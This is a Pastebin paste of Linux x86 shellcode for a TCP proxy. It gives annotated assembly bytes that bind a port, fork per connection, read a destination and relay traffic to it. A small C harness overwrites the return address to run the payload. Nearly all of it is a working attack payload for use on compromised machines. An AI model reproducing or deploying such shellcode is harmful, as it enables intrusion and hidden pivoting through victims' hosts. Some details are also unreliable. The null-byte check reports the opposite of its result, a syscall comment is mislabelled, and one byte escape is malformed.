emS-St1ks

linux/x86 TCP Proxy shellcode st1ks 236 bytes

Jul 22nd, 2012
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 6.62 KB | None | 0 0
  1. /********************************************************************
  2. linux/x86 tcp proxy shellcode st1ks upgrade 236 bytes ASM
  3.  
  4. and code C++ version shell
  5.  
  6. ********************************************************************/
  7.  
  8.  
  9.  
  10. char shellcode[] = {
  11. //main:
  12.     "\x31\xc0"          // xor    %eax,%eax
  13.     "\x89\xc3"          // mov    %eax,%ebx
  14.     "\x50"              // push   %eax
  15.     "\x40"              // inc    %eax
  16.     "\x50"              // push   %eax
  17.     "\x40"              // inc    %eax
  18.     "\x50"              // push   %eax
  19.     "\x89\xe1"          // mov    %esp,%ecx
  20.     "\xb0\x66"          // mov    $0x66,%al
  21.     "\x89\xc7"          // mov    %eax,%edi
  22.     "\x43"              // inc    %ebx
  23.     "\xcd\x80"          // int    $0x80         ;socket
  24.  
  25.     "\x89\xc6"          // mov    %eax,%esi
  26.     "\x89\xf8"          // mov    %edi,%eax
  27.     "\x31\xd2"          // xor    %edx,%edx
  28.     "\x52"              // push   %edx
  29.     "\x52"              // push   %edx
  30.     "\x52"              // push   %edx
  31.     "\xba\xfd\xff\xfa\xff"      // mov    $0xfffafffd,%edx  ;port info
  32.     "\xf7\xd2"          // not    %edx
  33.     "\x52"              // push   %edx
  34.     "\x89\xe1"          // mov    %esp,%ecx
  35.     "\x31\xd2"          // xor    %edx,%edx
  36.     "\xb2\x10"          // mov    $0x10,%dl
  37.     "\x52"              // push   %edx
  38.     "\x51"              // push   %ecx
  39.     "\x56"              // push   %esi
  40.     "\x89\xe1"          // mov    %esp,%ecx
  41.     "\x43"              // inc    %ebx
  42.     "\xcd\x80"          // int    $0x80         ;bind
  43.  
  44.     "\x53"              // push   %ebx
  45.     "\x56"              // push   %esi
  46.     "\x89\xe1"          // mov    %esp,%ecx
  47.     "\xb0\x66"          // mov    $0x66,%al
  48.     "\xb3\x04"          // mov    $0x4,%bl
  49.     "\xcd\x80"          // int    $0x80         ;listen
  50.  
  51.     "\x31\xc9"          // xor    %ecx,%ecx
  52.     "\x41"              // inc    %ecx
  53.     "\xb3\x11"          // mov    $0x11,%bl
  54.     "\xb0\x30"          // mov    $0x30,%al
  55.     "\xcd\x80"          // int    $0x80         ;signal
  56.  
  57. //do_next_accept:
  58.     "\x31\xc0"          // xor    %eax,%eax
  59.     "\x50"              // push   %eax
  60.     "\x50"              // push   %eax
  61.     "\x56"              // push   %esi
  62.     "\x89\xe1"          // mov    %esp,%ecx
  63.     "\xb0\x66"          // mov    $0x66,%al
  64.     "\x89\xc2"          // mov    %eax,%edx
  65.     "\xb3\x05"          // mov    $0x5,%bl
  66.     "\xcd\x80"          // int    $0x80         ;accept
  67.  
  68.     "\x89\xc7"          // mov    %eax,%edi
  69.     "\x31\xc0"          // xor    %eax,%eax
  70.     "\x50"              // push   %eax
  71.     "\x40"              // inc    %eax
  72.     "\x50"              // push   %eax
  73.     "\x40"              // inc    %eax
  74.     "\x50"              // push   %eax
  75.     "\xcd\x80"          // int    $0x80         ;fork
  76.  
  77.     "\x85\xc0"          // test   %eax,%eax
  78.     "\x75\xe2"          // jne    8048398 <do_next_accept>
  79.     "\x89\xe1"          // mov    %esp,%ecx
  80.     "\xb0\x66"          // mov    $0x66,%al
  81.     "\x89\xc3"          // mov    %eax,%ebx
  82.     "\xb3\x01"          // mov    $0x1,%bl
  83.     "\xcd\x80"          // int    $0x80         ;socket
  84.  
  85.     "\x89\xc6"          // mov    %eax,%esi
  86.     "\xb0\x10"          // mov    $0x10,%al
  87.     "\x29\xc4"          // sub    %eax,%esp
  88.     "\x89\xe1"          // mov    %esp,%ecx
  89.     "\x31\xc0"          // xor    %eax,%eax
  90.     "\x50"              // push   %eax
  91.     "\x52"              // push   %edx
  92.     "\x51"              // push   %ecx
  93.     "\x57"              // push   %edi
  94.     "\x89\xe1"          // mov    %esp,%ecx
  95.     "\xb0\x66"          // mov    $0x66,%al
  96.     "\xb3\x0a"          // mov    $0xa,%bl
  97.     "\xcd\x80"          // int    $0x80         ;recv
  98.  
  99.  
  100.     "\xb0\x66"          // mov    $0x66,%al
  101.     "\xb3\x03"          // mov    $0x3,%bl
  102.     "\x89\x34\x24"          // mov    %esi,(%esp)
  103.     "\xcd\x80"          // int    $0x80
  104.     "\x85\xc0"          // test   %eax,%eax
  105.     "\x74\x14"          // jz     ready_to_proxy
  106.  
  107. //close:
  108.     "\x89\xf3"          // mov    %esi,%ebx
  109.     "\x31\xc0"          // xor    %eax,%eax
  110.     "\xb0\x06"          // mov    $0x6,%al
  111.     "\xcd\x80"          // int    $0x80         ;close
  112.  
  113.     "\x87\xf7"          // xchg   %esi,%edi
  114.     "\x85\xc0"          // test   %eax,%eax
  115.     "\x74\xf"           // jz     close
  116.  
  117. //exit:
  118.     "\x31\xc0"          // xor    %eax,%eax
  119.     "\xb0\x01"          // mov    $0x1,%al
  120.     "\xcd\x80"          // int    $0x80         ;recv
  121.  
  122. //ready_to_proxy:
  123.     "\x31\xdb"          // xor    %ebx,%ebx
  124.     "\xb3\x10"          // mov    $0x10,%bl
  125.     "\x01\xdc"          // add    %ebx,%esp
  126.     "\x87\xf7"          // xchg   %esi,%edi
  127.     "\x31\xc0"          // xor    %eax,%eax
  128.     "\x50"              // push   %eax
  129.     "\x56"              // push   %esi
  130.     "\x89\xe3"          // mov    %esp,%ebx
  131.     "\x31\xc9"          // xor    %ecx,%ecx
  132.     "\x41"              // inc    %ecx
  133.     "\x89\xca"          // mov    %ecx,%edx
  134.     "\xb0\xa8"          // mov    $0xa8,%al
  135.     "\xcd\x80"          // int    $0x80         ;connect
  136.  
  137.     "\x31\xc0"          // xor    %eax,%eax
  138.     "\xb0\x40"          // mov    $0x40,%al
  139.     "\x89\xe2"          // mov    %esp,%edx
  140.     "\x50"              // push   %eax
  141.     "\xb0\x08"          // mov    $0x8,%al
  142.     "\x50"              // push   %eax
  143.     "\x52"              // push   %edx
  144.     "\x56"              // push   %esi
  145.     "\x89\xe1"          // mov    %esp,%ecx
  146.     "\x31\xdb"          // xor    %ebx,%ebx
  147.     "\xb3\x0a"          // mov    $0xa,%bl
  148.  
  149. //do_next_proxy:,
  150.     "\x31\xc0"          // xor    %eax,%eax
  151.     "\xb0\x66"          // mov    $0x66,%al
  152.     "\xcd\x80"          // int    $0x80         ;send/recv
  153.     "\x85\xc0"          // test   %eax,%eax
  154.     "\x74\xb9"          // jz     close
  155.     "\x89\xda"          // mov    %ebx,%edx
  156.     "\xf6\xc2\x01"          // test   $0x1,%dl
  157.     "\x75\xc6"          // jnz    ready_to_proxy
  158.  
  159. //is_recv_call:
  160.     "\x89\xc2"          // mov    %eax,%edx
  161.     "\xd1\xe2"          // shl    %edx
  162.     "\x72\xc0"          // jb     ready_to_proxy
  163.     "\x89\x41\x08"          // mov    %eax,0x8(%ecx)
  164.     "\x89\x39"          // mov    %edi,(%ecx)
  165.     "\x4b"              // dec    %ebx
  166.     "\xeb\xe1"          // jmp    do_next_proxy
  167. };
  168.  
  169.  
  170. int main() {
  171. int *ret;
  172. char cnull = 0;
  173.  
  174.         printf("shellcode_size: %u\n", sizeof(shellcode));
  175.         printf("contains nulls: ");
  176.         if(!memmem(shellcode,sizeof(shellcode),&cnull,1)){
  177.                 printf("yes\n");
  178.         }else{
  179.                 printf("no\n");
  180.         }
  181.  
  182.         ret = (int *)&ret + 2;
  183.         (*ret) = (int)shellcode;
  184.  
  185. }
Advertisement
Add Comment
Please, Sign In to add comment